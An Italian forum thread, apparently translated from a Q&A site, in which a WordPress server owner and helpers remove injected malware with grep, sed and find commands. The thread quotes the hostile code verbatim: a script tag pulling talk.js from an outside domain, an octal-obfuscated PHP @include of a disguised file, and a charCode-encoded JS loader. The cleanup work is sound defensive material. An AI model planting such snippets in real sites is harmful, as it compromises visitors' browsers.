Quindi il mio intero server è stato violato o ha avuto il problema del malware. il mio sito è basato su WordPress e la maggior parte dei siti ospitati sul mio server è basato su WordPress. L'hacker ha aggiunto questa riga di codice a ogni singolo file e nel database
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
L'ho cercato tramite grep usando
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Sto cercando di sostituirlo in tutta la struttura dei file con sed
e ho scritto il seguente comando.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Sto provando a sostituire prima la stringa su un singolo file index.php
, quindi so che funziona.
e so che il mio codice è sbagliato. Per favore, aiutatemi con questo.
Ho provato con il codice @ Eran e ha eliminato l'intera riga, il che è buono e come previsto. Tuttavia, il gergo totale è questo
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
E mentre desidero eliminare tutto il contenuto, desidero mantenere il tag di apertura php <?php
.
Anche se la soluzione di @slybloty è semplice e ha funzionato.
quindi per rimuovere completamente il codice da tutti i file interessati. Sto eseguendo i seguenti 3 comandi, grazie a tutti voi per questo.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Rimuovere la riga dello scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Per rimuovere la@include
lineafind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Per rimuovere la riga di commento
Inoltre, ho eseguito nuovamente tutti e 3 i comandi '*.html'
perché lo script dell'hacker ha creato index.html indesiderato in tutte le directory. Non ero sicuro che la cancellazione di questi index.html alla rinfusa sia l'approccio giusto.
ora, ho ancora bisogno di capire i file spazzatura e le sue tracce.
Lo script hacker ha aggiunto anche il codice JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Sto provando a vedere se posso sed
farlo anch'io .
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
L' -l
opzione fornisce solo il nome del file e non il testo corrispondente.
sed -i
. Ad esempio, sed -i.bak
creerà un *.bak
file per tutti i file che vengono modificati. Se utilizzato con il while...grep
ciclo, eseguirà il backup solo dei file che contenevano quella stringa. Ci scusiamo per tutti i commenti aggiuntivi, ma a mio avviso, il malware è uno scenario "a portata di mano".